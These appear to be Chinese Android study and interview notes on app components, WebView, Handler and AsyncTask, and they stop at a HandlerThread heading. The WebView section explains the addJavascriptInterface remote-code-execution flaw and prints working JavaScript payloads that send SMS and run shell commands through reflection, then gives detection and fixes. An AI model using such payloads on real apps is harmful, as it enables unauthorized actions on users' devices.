### Activity #### 1. 什麼是Activity 四大組件之一,一般一個用戶交互界面對應一個activity。activity是Context的子類,同時實現了window.callback和keyevent.callback,能夠處理與窗體用戶交互的事件。 開發中經常使用的有FragmentActivity、ListActivity、TabActivity(Android 4.0被Fragment取代) #### 2. Activity的4種狀態 * running:用戶能夠點擊,activity處於棧頂狀態。 * paused:activity失去焦點的時候,被一個非全屏的activity佔據或者被一個透明的activity覆蓋,這個狀態的activity並無銷燬,它全部的狀態信息和成員變量仍然存在,只是不可以被點擊。(除了內存緊張的狀況,這個activity有可能被回收) * stopped:這個activity被另一個activity徹底覆蓋,可是這個activity的全部狀態信息和成員變量仍然存在(除了內存緊張) * killed:這個activity已經被銷燬,其全部的狀態信息和成員變量已經不存在了。 #### 3. Activity生命週期 ![Activity生命週期](//upload-images.jianshu.io/upload_images/2570030-fd049b68b584258b?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ##### 生命週期的基本介紹 * onCreate:當Activity第一次啓動調用 * onDestroy:當Activity銷燬的時候調用 * onStart:當Activity變成可見調用 * onStop:當Activity不可見調用 * onResume:當Activity能夠交互調用這個方法 當界面上的按鈕被點擊的時候調用 * onPause:當Activity不能夠交互調用這個方法 當界面上的按鈕不能夠點擊 * onRestart:當界面從新啓動的時候調用 ##### 生命週期流程 * Activity啓動:調用的依次順序是:onCreate ---> onStart ---> onResume ---> onPause ---> onStop ---> onDestroy,還有一個onRestart,其中onRestart是在Activity被onStop後,可是沒有被onDestroy,在再次啓動此Activity時調用的(而再也不調用onCreate)方法;若是被onDestroy了,則是調用onCreate方法。 * 點擊Home鍵回到主界面(Activity不可見):onPause ---> onStop * 當咱們再次回到原Activity時: onRestart ---> onStart ---> onResume * 退出當前Activity時: onPause ---> onStop ---> onDestroy #### 4. Activity任務棧 * 有序地管理Activity的先進後出的一種數據結構 * 安全退出:任務棧中全部的Activity都出棧 #### 5. Activity的啓動模式 * standard 標準模式: 特色:此模式無論有沒有已存在的實例,都生成新的實例。每次調用startActivity()啓動Activity時都會建立一個新的Activity放在棧頂,每次返回都會銷燬實例並出棧,能夠重複建立。 * singleTop 單一頂部模式/棧頂複用模式: 特色:會檢查任務棧棧頂的Activity,若是發現棧頂已經存在實例,就不會建立新的實例,直接複用,此時會調用onNewIntent。但若是不在棧頂,那麼仍是會建立新的實例。 應用場景:瀏覽器書籤的頁面,流氓的網站,避免建立過多的書籤頁面 * singleTask 單一任務模式/棧內複用模式: 特色:這種模式不會檢查任務棧的棧頂,檢查當前任務棧,若是發現有實例存在,直接複用。任務棧中只有一個實例存儲(把當前activity上面的全部的其它activity都清空,複用這個已經存在的activity) 應用場景:瀏覽器瀏覽頁面的Activity,播放器播放的activity。 * singleInstance 單一實例模式(用得比較少) 特色:系統會爲這個Activity單首創建一個任務棧,這個任務棧裏面只有一個實例存在而且保證再也不有其它activity實例進入。 應用場景:來電頁面。 #### 6. Scheme跳轉協議 ##### 概念 Android中的scheme是一種頁面內跳轉協議,是一種很是好的實現機制,經過定義本身的scheme協議,能夠很是方便跳轉app中的各個頁面;經過scheme協議,服務器能夠定製化告訴app跳轉哪一個頁面,能夠經過通知欄消息定製化跳轉頁面,能夠經過H5頁面跳轉頁面等。 ##### 應用場景 * 經過服務器下發跳轉路徑跳轉相應頁面 * 經過在H5頁面的錨點跳轉相應的頁面 * 根據服務器下發通知欄消息,App跳轉相應的頁面(包括另一個APP的頁面,做爲推廣使用) #### 7. 參考文章 [Android面試(一):Activity面試你所需知道的一切](https://www.jianshu.com/p/5b11a9eddf86) [android-Scheme與網頁跳轉原生的三種方式](https://blog.csdn.net/sinat_31057219/article/details/78362326) ### Fragment #### 1. 什麼是Fragment Fragment,俗稱碎片,自Android 3.0開始被引進並大量使用。做爲Activity界面的一部分,Fragment的存在必須依附於Activity,而且與Activity同樣,擁有本身的生命週期,同時處理用戶的交互動做。同一個Activity能夠有一個或多個Fragment做爲界面內容,而且能夠動態添加、刪除Fragment,靈活控制UI內容,也能夠用來解決部分屏幕適配問題。 #### 2. Fragment爲何被稱爲第五大組件 首先Fragment的使用次數是不輸於其餘四大組件的,並且Fragment有本身的生命週期,比Activity更加節省內存,切換模式也更加溫馨,使用頻率不低於四大組件。 #### 3. Fragment的生命週期 ![Fragment的生命週期](https://upload-images.jianshu.io/upload_images/2570030-bb960a5fce263a3f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ![Fragment的生命週期](https://upload-images.jianshu.io/upload_images/2570030-9ca614fe1d9416b0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) #### 4. Fragment建立/加載到Activity的兩種方式 * 靜態加載 1. 建立Fragment的xml佈局文件 2. 在Fragment的onCreateView中inflate佈局,返回 3. 在Activity的佈局文件中的適當位置添加fragment標籤,指定name爲Fragment的完整類名(這時候Activity中能夠直接經過findViewById找到Fragment中的控件) * 動態加載(須要用到事務操做,經常使用) 1. 建立Fragment的xml佈局文件 2. 在Fragment的onCreateView中inflate佈局,返回 ```java @Nullable @Override public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { return inflater.inflate(R.layout.activity_main, container, false); } ``` 3. 在Activity中經過獲取FragmentManager(SupportFragmentManager),經過beginTransaction()方法開啓事務 4. 進行add()/remove()/replace()/attach()/detach()/hide()/addToBackStack()事務操做(都是對Fragment的棧進行操做,其中add()指定的tag參數能夠方便之後經過findFragmentByTag()找到這個Fragment) 5. 提交事務:commit() 示例代碼: ```java @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); getSupportFragmentManager().beginTransaction() .add(R.id.fragment_container, new TestFragment(), "test") .commit(); TestFragment f = (TestFragment) getSupportFragmentManager().findFragmentByTag("test"); } ``` #### 5. Fragment通訊問題 1. 經過findFragmentByTag或者getActivity得到對方的引用(強轉)以後,再相互調用對方的public方法。 優勢:簡單粗暴 缺點:引入了「強轉」的醜陋代碼,另外兩個類之間各自持有對方的強引用,耦合較大,容易形成內存泄漏 2. 經過Bundle的方法進行傳值,在添加Fragment的時候進行通訊 ```java @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Fragment fragment = new TestFragment(); Bundle bundle = new Bundle(); bundle.putString("key", "value"); //Activity中對fragment設置一些參數 fragment.setArguments(bundle); getSupportFragmentManager().beginTransaction() .add(R.id.fragment_container, fragment, "test") .commit(); } ``` 優勢:簡單粗暴 缺點:只能在Fragment添加到Activity的時候才能使用,屬於單向通訊 3. 利用eventbus進行通訊 優勢:實時性高,雙向通訊,Activity與Fragment之間能夠徹底解耦 缺點:反射影響性能,沒法獲取返回數據,EventBUS難以維護 4. 利用接口回調進行通訊(Google官方推薦) ```java //MainActivity實現MainFragment開放的接口 public class MainActivity extends FragmentActivity implements FragmentListener { @override public void toH5Page() { //...其餘處理代碼省略 } } //Fragment的實現 public class MainFragment extends Fragment { //接口的實例,在onAttach Activity的時候進行設置 public FragmentListener mListener; //MainFragment開放的接口 public static interface FragmentListener { //跳到h5頁面 void toH5Page(); } @Override public void onAttach(Activity activity) { super.onAttach(activity); //對傳遞進來的Activity進行接口轉換 if (activity instance FragmentListener){ mListener = ((FragmentListener) activity); } } ...其餘處理代碼省略 } ``` 優勢:既能達到複用,又能達到很好的可維護性,而且性能獲得保證 缺點:假如項目很大了,Activity與Fragment的數量也會增長,這時候爲每對Activity與Fragment交互定義交互接口就是一個很麻煩的問題(包括爲接口的命名,新定義的接口相應的Activity還得實現,相應的Fragment還得進行強制轉換) 5. 經過Handler進行通訊(其實就是把接口的方式改成Handler) 優勢:既能達到複用,又能達到很好的可維護性,而且性能獲得保證 缺點:Fragment對具體的Activity存在耦合,不利於Fragment複用和維護,無法獲取Activity的返回數據 6. 經過廣播/本地廣播進行通訊 優勢:簡單粗暴 缺點:大材小用,存在性能損耗,傳播數據必須實現序列化接口 7. 父子Fragment之間通訊,能夠使用getParentFragment()/getChildFragmentManager()的方式進行 #### 6. FragmentPageAdapter和FragmentPageStateAdapter的區別 * FragmentPageAdapter在每次切換頁面的時候,是將Fragment進行分離,適合頁面較少的Fragment使用以保存一些內存,對系統內存不會多大影響 ```java @Override public void destroyItem(ViewGroup container, int position, Object object) { if (mCurTransaction == null) { mCurTransaction = mFragmentManager.beginTransaction(); } if (DEBUG) Log.v(TAG, "Detaching item #" + getItemId(position) + ": f=" + object + " v=" + ((Fragment)object).getView()); //FragmentPageAdapter在destroyItem的時候調用detach mCurTransaction.detach((Fragment)object); } ``` * FragmentPageStateAdapter在每次切換頁面的時候,是將Fragment進行回收,適合頁面較多的Fragment使用,這樣就不會消耗更多的內存 ```java @Override public void destroyItem(ViewGroup container, int position, Object object) { Fragment fragment = (Fragment) object; if (mCurTransaction == null) { mCurTransaction = mFragmentManager.beginTransaction(); } if (DEBUG) Log.v(TAG, "Removing item #" + position + ": f=" + object + " v=" + ((Fragment)object).getView()); while (mSavedState.size() <= position) { mSavedState.add(null); } mSavedState.set(position, fragment.isAdded() ? mFragmentManager.saveFragmentInstanceState(fragment) : null); mFragments.set(position, null); //FragmentPageStateAdapter在destroyItem的時候調用remove mCurTransaction.remove(fragment); } ``` #### 7. 參考文章 [Android:Activity與Fragment通訊(99%)完美解決方案](https://www.jianshu.com/p/1b824e26105b) ### Service #### 1. 什麼是Service Service是四大組件之一,它能夠在後臺執行長時間運行操做而沒有用戶界面的應用組件 #### 2. Service的兩種啓動方式與生命週期 ![Service的兩種啓動方式與生命週期](https://upload-images.jianshu.io/upload_images/2570030-9cc42d42d66337e4.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) startService特色: 1. 使用這種start方式啓動的Service的生命週期以下:onCreate()--->onStartCommand()(onStart()方法已過期) ---> onDestroy() 2. 若是服務已經開啓,不會重複的執行onCreate(), 而是會調用onStart()和onStartCommand() 3. 一旦服務開啓跟調用者(開啓者)就沒有任何關係了。 4. 開啓者退出了,開啓者掛了,服務還在後臺長期的運行。 5. 開啓者不能調用服務裏面的方法。 bindService特色: 1. 使用這種start方式啓動的Service的生命週期以下:onCreate() --->onBind()--->onUnbind()--->onDestroy() 2. 綁定服務不會調用onStart()或者onStartCommand()方法 3. bind的方式開啓服務,綁定服務。調用者調用unbindService解除綁定,服務也會跟着銷燬。 4. 綁定者能夠調用服務裏面的方法。 #### 3. Service和Thread的區別 * Service是安卓中系統的組件,它運行在獨立進程的主線程中,默認狀況下不能夠執行耗時操做(不然ANR) * Thread是程序執行的最小單元,分配CPU的基本單位,能夠開啓子線程執行耗時操做 * Service在不一樣Activity中能夠獲取自身實例,能夠方便的對Service進行操做 * Thread的運行是獨立於Activity的,也就是說當一個Activity被finish以後,若是沒有主動中止Thread或者Thread裏的run方法沒有執行完畢的話,Thread也會一直執行,引起內存泄漏;另外一方面,沒有辦法在不一樣的Activity中對同一Thread進行控制。 ### Broadcast #### 1. BroadcastReceiver是什麼 BroadcastReceiver是四大組件之一,是一種普遍運用在應用程序之間傳輸信息的機制,經過發送Intent來傳送咱們的數據。 #### 2. BroadcastReceiver的使用場景 * 不一樣組件之間的消息通訊(應用內/應用內不一樣進程/不一樣進程(應用)) * 與Android系統在特定狀況下的通訊(如電話呼入、藍牙狀態變化等) * 線程之間的通訊 #### 3. Broadcast種類 1. 普通廣播(Normal Broadcast) * 經過sendBroadcast進行發送,若是註冊了Action匹配的接受者則會收到 * 若發送廣播有相應權限,那麼廣播接收者也須要相應權限 2. 系統廣播(System Broadcast) * Android中內置了多個系統廣播:只要涉及到手機的基本操做(如開機、網絡狀態變化、拍照等等),都會發出相應的廣播 * 每一個廣播都有特定的Intent - Filter(包括具體的action) * 系統廣播由系統發送,不須要手動發送,只須要註冊監聽 3. 有序廣播(Ordered Broadcast) * 經過sendOrderedBroadcast發送 * 發送出去的廣播被廣播接收者按照前後順序接收(有序是針對廣播接收者而言的) * 廣播接受者接收廣播的順序規則:Priority大的優先;動態註冊的接收者優先 * 先接收的能夠對廣播進行截斷和修改 4. App應用內廣播(本地廣播、Local Broadcast) * 經過LocalBroadcastManager.getInstance(this).sendBroadcastSync(); * App應用內廣播可理解爲一種局部廣播,廣播的發送者和接收者都同屬於一個App * 相比於全局廣播(普通廣播),App應用內廣播優點體如今:安全性高 & 效率高(本地廣播只會在APP內傳播,安全性高;不容許其餘APP對本身的APP發送廣播,效率高) 5. 粘性廣播(Sticky Broadcast) * 在Android5.0 & API 21中已經失效,因此不建議使用 * 經過sendStickyBroadcast發送 * 粘性廣播在發送後就一直存在於系統的消息容器裏面,等待對應的處理器去處理,若是暫時沒有處理器處理這個廣播則一直在消息容器裏面處於等待狀態 * 粘性廣播的Receiver若是被銷燬,那麼下次從新建立的時候會自動接收到消息數據 #### 4. 廣播的註冊方式 * 靜態註冊:也稱爲清單註冊,就是在AndroidManifest.xml中註冊的廣播。此類廣播接收器在應用還沒有啓動的時候就能夠接收到相應廣播。 * 動態註冊:也稱爲運行時註冊,也就是在Service或者Activity組件中,經過Context.registerReceiver()註冊廣播接收器。此類廣播接收器是在應用已啓動後,經過代碼進行註冊。生命週期與組件一致。 #### 5. 廣播的實現機制 ![廣播的實現機制](https://upload-images.jianshu.io/upload_images/2570030-6b1cca250e64e07a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) #### 6. 本地廣播的使用以及實現機制 * 基本使用:能夠經過intent.setPackage(packageName)指定包名,也能夠使用localBroadcastManager(經常使用),示例代碼以下: ```java //註冊應用內廣播接收器 //步驟1:實例化BroadcastReceiver子類 & IntentFilter mBroadcastReceiver mBroadcastReceiver = new mBroadcastReceiver(); IntentFilter intentFilter = new IntentFilter(); //步驟2:實例化LocalBroadcastManager的實例 localBroadcastManager = LocalBroadcastManager.getInstance(this); //步驟3:設置接收廣播的類型 intentFilter.addAction(android.net.conn.CONNECTIVITY_CHANGE); //步驟4:調用LocalBroadcastManager單一實例的registerReceiver()方法進行動態註冊 localBroadcastManager.registerReceiver(mBroadcastReceiver, intentFilter); //取消註冊應用內廣播接收器 localBroadcastManager.unregisterReceiver(mBroadcastReceiver); //發送應用內廣播 Intent intent = new Intent(); intent.setAction(BROADCAST_ACTION); localBroadcastManager.sendBroadcast(intent); ``` * localBroadcastManager的實現機制 1. LocalBroadcastManager高效的緣由主要是由於它內部是經過Handler實現的,它的sendBroadcast()方法含義和咱們平時所用的全局廣播不同,它的sendBroadcast()方法實際上是經過handler發送一個Message實現的。 2. 既然是它內部是經過Handler來實現廣播的發送的,那麼相比與系統廣播經過Binder實現那確定是更高效了,同時使用Handler來實現,別的應用沒法向咱們的應用發送該廣播,而咱們應用內發送的廣播也不會離開咱們的應用 3. LocalBroadcastManager內部協做主要是靠這兩個Map集合:mReceivers和mActions,固然還有一個List集合mPendingBroadcasts,這個主要就是存儲待接收的廣播對象 #### 7. 參考文章 [Android四大組件:BroadcastReceiver史上最全面解析](https://www.jianshu.com/p/ca3d87a4cdf3) [Android 粘性廣播StickyBroadcast的使用](http://www.codeweblog.com/android-%E7%B2%98%E6%80%A7%E5%B9%BF%E6%92%ADstickybroadcast%E7%9A%84%E4%BD%BF%E7%94%A8/) [咦,Oreo怎麼收不到廣播了?](https://blog.csdn.net/dfghhvbafbga/article/details/80223938) [LocalBroadcastManager—建立更高效、更安全的廣播](https://blog.csdn.net/u010687392/article/details/49744579) ### WebView #### 1. WebView遠程代碼執行安全漏洞 ##### 漏洞描述 Android API level 16以及以前的版本存在遠程代碼執行安全漏洞,該漏洞源於程序沒有正確限制使用WebView.addJavascriptInterface方法,遠程攻擊者可經過使用Java Reflection API利用該漏洞執行任意Java對象的方法。 簡單的說就是經過addJavascriptInterface給WebView加入一個JavaScript橋接接口,JavaScript經過調用這個接口能夠直接操做本地的JAVA接口。 ##### 示例代碼 WebView代碼以下所示: ```java mWebView = new WebView(this); mWebView.getSettings().setJavaScriptEnabled(true); mWebView.addJavascriptInterface(this, "injectedObj"); mWebView.loadUrl("file:///android_asset/www/index.html"); ``` 發送惡意短信: ```html <html> <body> <script> var objSmsManager = injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null); objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null); </script> </body> </html> ``` 利用反射機制調用Android API getRuntime執行shell命令,最終操做用戶的文件系統: ```html <html> <body> <script> function execute(cmdArgs) { return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]); document.write(getContents(res.getInputStream())); </script> </body> </html> ``` ##### 漏洞檢測 1. 檢查應用源代碼中是否調用Landroid/webkit/WebView類中的addJavascriptInterface方法,是否存在searchBoxJavaBridge_、accessibility、accessibilityTraversal接口 2. 在線檢測:騰訊TSRC在線檢測頁面(http://security.tencent.com/lucky/check_tools.html)、烏雲知識庫在線檢測(http://drops.wooyun.org/webview.html) 3. 在線檢測原理:遍歷全部window的對象,而後找到包含getClass方法的對象,若是存在此方法的對象則說明該接口存在漏洞。 ##### 漏洞修復 1. 容許被調用的函數必須以@JavascriptInterface進行註解(API Level小於17的應用也會受影響) 2. 建議不要使用addJavascriptInterface接口,以避免帶來沒必要要的安全隱患,採用動態地生成將注入的JS代碼的方式來代替 3. 若是必定要使用addJavascriptInterface接口: 1. 若是使用HTTPS協議加載URL,應進行證書校驗防止訪問的頁面被篡改掛馬; 2. 若是使用HTTP協議加載URL,應進行白名單過濾、完整性校驗等防止訪問的頁面被篡改; 3. 若是加載本地Html,應將html文件內置在APK中,以及進行對html頁面完整性的校驗; 4. 移除Android系統內部的默認內置接口 ```java removeJavascriptInterface("searchBoxJavaBridge_"); removeJavascriptInterface("accessibility"); removeJavascriptInterface("accessibilityTraversal"); ``` #### 2. JSBridge 客戶端和服務端之間能夠經過JSBridge來互相調用各自的方法,實現雙向通訊 #### 3. WebView的正確銷燬與內存泄漏問題 因爲WebView是依附於Activity的,Activity的生命週期和WebView啓動的線程的生命週期是不一致的,這會致使WebView一直持有對這個Activity的引用而沒法釋放,解決方案以下 1. 獨立進程,簡單暴力,不過可能涉及到進程間通訊(推薦) 2. 動態添加WebView,對傳入WebView中使用的Context使用弱引用 3. 正確銷燬WebView,WebView在其餘容器上時(如:LinearLayout),當銷燬Activity時,須要: 1. 在onDestroy()中先移除容器上的WebView 2. 而後再將WebView.destroy(),這樣就不會致使內存泄漏 #### 4. WebView後臺耗電 ##### 問題 在WebView加載頁面的時候,會自動開啓線程去加載,若是不很好的關閉這些線程,就會致使電量消耗加大。 ##### 解決方法 能夠採用暴力的方法,直接在onDestroy方法中System.exit(0)結束當前正在運行中的java虛擬機 #### 5. WebView硬件加速 ##### WebView硬件加速以及缺點 Android3.0引入硬件加速,默認會開啓,WebView在硬件加速的狀況下滑動更加平滑,性能更加好,可是會出現白塊或者頁面閃爍的反作用。 ##### 解決方案 建議在須要的地方WebView暫時關閉硬件加速 #### 6. WebViewClient的onPageFinished問題 ##### 問題 WebViewClient.onPageFinished在每次頁面加載完成的時候調用,可是遇到未加載完成的頁面跳轉其餘頁面時,就會被一直調用 ##### 解決方案 使用WebChromeClient.onProgressChanged替代WebViewClient.onPageFinished #### 7. 參考文章 [WebView 遠程代碼執行漏洞淺析](https://blog.csdn.net/feizhixuan46789/article/details/49155369) [Android WebView遠程執行代碼漏洞淺析](https://blog.csdn.net/fengling59/article/details/50379522) [Android WebView 遠程代碼執行漏洞簡析](http://www.droidsec.cn/android-webview-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E6%A3%80%E6%B5%8B/) [在WebView中如何讓JS與Java安全地互相調用](https://blog.csdn.net/xyz_lmn/article/details/39399225) ### Android系統架構與Framework源碼分析 #### 1. Android系統架構 ![Android系統架構](//upload-images.jianshu.io/upload_images/2570030-b9a18bc4b26c498e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 根據上圖,Android系統架構從上往下分別是: 1. 應用框架:應用框架最常被應用開發者使用。做爲硬件開發者,咱們應該很是瞭解開發者 API,由於不少此類 API 均可直接映射到底層 HAL 接口,並可提供與實現驅動程序相關的實用信息。 2. Binder IPC:Binder 進程間通訊 (IPC) 機制容許應用框架跨越進程邊界並調用 Android 系統服務代碼,從而使得高級框架 API 能與 Android 系統服務進行交互。在應用框架級別,開發者沒法看到此類通訊的過程,但一切彷佛都在「循序漸進地運行」。 3. 系統服務:應用框架 API 所提供的功能可與系統服務通訊,以訪問底層硬件。服務是集中的模塊化組件,例如窗口管理器、搜索服務或通知管理器。Android 包含兩組服務:「系統」(諸如窗口管理器和通知管理器之類的服務)和「媒體」(與播放和錄製媒體相關的服務)。 4. 硬件抽象層 (HAL):硬件抽象層 (HAL) 會定義一個標準接口以供硬件供應商實現,並容許 Android 忽略較低級別的驅動程序實現。藉助 HAL,咱們能夠順利實現相關功能,而不會影響或無需更改更高級別的系統。HAL 實現會被封裝成模塊 (.so) 文件,並會由 Android 系統適時地加載。 5. Linux 內核:開發設備驅動程序與開發典型的 Linux 設備驅動程序相似。Android 使用的 Linux 內核版本包含一些特殊的補充功能,例如:喚醒鎖(這是一種內存管理系統,可更主動地保護內存)、Binder IPC 驅動程序以及對移動嵌入式平臺很是重要的其餘功能。這些補充功能主要用於加強系統功能,不會影響驅動程序開發。咱們能夠使用任一版本的內核,只要它支持所需功能(如 Binder 驅動程序)。不過,建議使用 Android 內核的最新版本。 #### 2. Android Framework源碼分析 [寫給Android App開發人員看的Android底層知識(1)- Binder與AIDL](http://www.cnblogs.com/Jax/p/6864103.html) [寫給Android App開發人員看的Android底層知識(2)- AMS與APP、Activity的啓動流程](http://www.cnblogs.com/Jax/p/6880604.html) [寫給Android App開發人員看的Android底層知識(3)- AMS與APP、Activity的啓動流程](http://www.cnblogs.com/Jax/p/6880631.html) [寫給Android App開發人員看的Android底層知識(4)- Context](http://www.cnblogs.com/Jax/p/6880647.html) [寫給Android App開發人員看的Android底層知識(5)- Service](http://www.cnblogs.com/Jax/p/6883549.html) [寫給Android App開發人員看的Android底層知識(6)- BroadcastReceiver](http://www.cnblogs.com/Jax/p/6883534.html) [寫給Android App開發人員看的Android底層知識(7)- ContentProvider](http://www.cnblogs.com/Jax/p/6910699.html) [寫給Android App開發人員看的Android底層知識(8)- PMS及App安裝過程](http://www.cnblogs.com/Jax/p/6910745.html) 除此以外,還有消息機制、窗口管理等源碼分析,推薦《開發藝術探索》,以及LooperJing的文集: [Android源碼解析](https://www.jianshu.com/nb/8017467) * 備註:源碼分析部分先放一放,後續補充一些簡要歸納性的 ### 消息機制與Handler #### 1. 基本概念 Android的消息機制主要包括Handler、MessageQueue和Looper。 Handler是Android中引入的一種讓開發者參與處理線程中消息循環的機制。每一個Handler都關聯了一個線程,每一個線程內部都維護了一個消息隊列MessageQueue,這樣Handler實際上也就關聯了一個消息隊列。能夠經過Handler將Message和Runnable對象發送到該Handler所關聯線程的MessageQueue(消息隊列)中,而後該消息隊列一直在循環拿出一個Message,對其進行處理,處理完以後拿出下一個Message,繼續進行處理,周而復始。 #### 2. 爲何要有消息機制 Android的UI控件不是線程安全的,若是在多線程中訪問UI控件則會致使不可預期的狀態。那爲何不對UI控件訪問加鎖呢? 訪問加鎖缺點有兩個: 1. 首先加鎖會讓UI控件的訪問的邏輯變的複雜; 2. 其次,鎖機制會下降UI的訪問效率。 那咱們不用線程來操做不就好了嗎?但這是不可能的,由於Android的主線程不能執行耗時操做,不然會出現ANR。 因此,從各方面來講,Android消息機制是爲了解決在子線程中沒法訪問UI的矛盾。 #### 3. Handler的工做原理 ![Android消息機制.png](//upload-images.jianshu.io/upload_images/2570030-2d4acc6406c28035.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 如圖所示,在主線程ActivityThread中的main方法入口中,先是建立了系統的Handler(H),建立主線程的Looper,將Looper與主線程綁定,調用了Looper的loop方法以後開啓整個應用程序的主循環。Looper裏面有一個消息隊列,經過Handler發送消息到消息隊列裏面,而後經過Looper不斷去循環取出消息,交給Handler去處理。經過系統的Handler,或者說Android的消息處理機制就確保了整個Android系統有條不紊地運做,這是Android系統裏面的一個比較重要的機制。 咱們的APP也能夠建立本身的Handler,能夠是在主線程裏面建立,也能夠在子線程裏面建立,可是須要手動建立子線程的Looper而且手動啓動消息循環。 #### 4. Handler的內存泄漏問題 ##### 緣由 非靜態內部類持有外部類的匿名引用,致使Activity沒法釋放(生命週期不一致) ##### 解決方案 * Handler內部持有外部Activity的弱引用 * Handler改成靜態內部類 * 在適當時機移除Handler的全部Callback() #### 5. 爲何在子線程中建立Handler會拋異常? Handler的工做是依賴於Looper的,而Looper(與消息隊列)又是屬於某一個線程(ThreadLocal是線程內部的數據存儲類,經過它能夠在指定線程中存儲數據,其餘線程則沒法獲取到),其餘線程不能訪問。 所以Handler就是間接跟線程是綁定在一塊兒了。所以要使用Handler必需要保證Handler所建立的線程中有Looper對象而且啓動循環。由於子線程中默認是沒有Looper的,因此會報錯。 正確的在子線程中建立Handler的方法以下(能夠使用HandlerThread代替): ```java handler = null; new Thread(new Runnable() { private Looper mLooper; @Override public void run() { //必須調用Looper的prepare方法爲當前線程建立一個Looper對象,而後啓動循環 //prepare方法中實質是給ThreadLocal對象建立了一個Looper對象 //若是當前線程已經建立過Looper對象了,那麼會報錯 Looper.prepare(); handler = new Handler(); //獲取Looper對象 mLooper = Looper.myLooper(); //啓動消息循環 Looper.loop(); //在適當的時候退出Looper的消息循環,防止內存泄漏 mLooper.quit(); } }).start(); ``` 注意: * 主線程中默認是建立了Looper而且啓動了消息的循環的,所以不會報錯。 * 應用程序的入口是ActivityThread的main方法,在這個方法裏面會建立Looper,而且執行Looper的loop方法來啓動消息的循環,使得應用程序一直運行。 * 有時候出於業務須要,主線程能夠向子線程發送消息。子線程的Handler必須按照上述方法建立,而且關聯Looper。 #### 6. 爲何不能在子線程更新UI? UI更新的時候,會對當前線程進行檢驗,若是不是主線程,則拋出異常: ```java void checkThread() { if (mThread != Thread.currentThread()) { throw new CalledFromWrongThreadException( "Only the original thread that created a view hierarchy can touch its views."); } } ``` 比較特殊的三種狀況: * 在Activity建立完成後(Activity的onResume以前ViewRootImpl實例沒有創建),mThread被賦值爲主線程(ViewRootImpl),因此直接在onCreate中建立子線程是能夠更新UI的 * 在子線程中添加 Window,而且建立 ViewRootImpl,能夠在子線程中更新view * SurfaceView能夠在其餘線程更新 #### 7. 參考文章 [Android 源碼分析之旅3.1--消息機制源碼分析](https://www.jianshu.com/p/ac50ba6ba3a2) [android消息機制原理詳解](https://blog.csdn.net/ouyangfan54/article/details/55006558) [Android中Handler的使用](https://blog.csdn.net/iispring/article/details/47115879) ### AsyncTask #### 1. AsyncTask的基本概念與基本工做原理 它本質上就是一個封裝了線程池和Handler的異步框架。 AsyncTask執行任務時,內部會建立一個進程做用域的線程池來管理要運行的任務,也就是說當你調用了AsyncTask.execute()後,AsyncTask會把任務交給線程池,由線程池來管理建立Thread和運行Thread。 #### 2. AsyncTask使用方法 ##### 三個參數 * Params:表示後臺任務執行時的參數類型,該參數會傳給AysncTask的doInBackground()方法 * Progress:表示後臺任務的執行進度的參數類型,該參數會做爲onProgressUpdate()方法的參數 * Result:表示後臺任務的返回結果的參數類型,該參數會做爲onPostExecute()方法的參數 ##### 五個方法 * onPreExecute():異步任務開啓以前回調,在主線程中執行 * doInBackground():執行異步任務,在線程池中執行 * onProgressUpdate():當doInBackground中調用publishProgress時回調,在主線程中執行 * onPostExecute():在異步任務執行以後回調,在主線程中執行 * onCancelled():在異步任務被取消時回調 #### 3. AsyncTask的版本差別 ##### 內部的線程池的版本差別 1. 3.0以前規定同一時刻可以運行的線程數爲5個,線程池總大小爲128。也就是說當咱們啓動了10個任務時,只有5個任務可以馬上執行,另外的5個任務則須要等待,當有一個任務執行完畢後,第6個任務纔會啓動,以此類推。而線程池中最大能存放的線程數是128個,當咱們嘗試去添加第129個任務時,程序就會崩潰。 2. 所以在3.0版本中AsyncTask的改動仍是挺大的,在3.0以前的AsyncTask能夠同時有5個任務在執行,而3.0以後的AsyncTask同時只能有1個任務在執行。爲何升級以後能夠同時執行的任務數反而變少了呢?這是由於更新後的AsyncTask已變得更加靈活,若是不想使用默認的線程池,還能夠自由地進行配置。 ##### 串行、並行的版本差別 1. AsyncTask在Android 2.3以前默認採用並行執行任務,AsyncTask在Android 2.3以後默認採用串行執行任務 2. 若是須要在Android 2.3以後採用並行執行任務,能夠調用AsyncTask的executeOnExecutor() #### 4. AsyncTask的缺陷 ##### 內存泄漏問題 ###### 緣由 非靜態內部類持有外部類的匿名引用,致使Activity沒法釋放(生命週期不一致,與Handler同樣) ###### 解決方案 * AsyncTask內部持有外部Activity的弱引用 * AsyncTask改成靜態內部類 * 在Activity銷燬以前,調用AsyncTask.cancel()取消AsyncTask的運行,以此來保證程序的穩定 ##### 結果丟失問題 ###### 緣由 在屏幕旋轉、Activity在內存緊張時被回收等形成Activity從新建立時AsyncTask數據丟失的問題。當Activity銷燬並從新建立後,還在運行的AsyncTask會持有一個Activity的非法引用即以前的Activity實例。致使onPostExecute()沒有任何做用(通常是對UI更新無效)。 ###### 解決方案 1. 在Activity重建以前cancel異步任務 2. 在重建以後從新執行異步任務 #### 5. 參考文章 [AsyncTask 使用和缺陷](https://blog.csdn.net/boyupeng/article/details/49001215) ### HandlerThread #### 1. HandlerThread產生背景 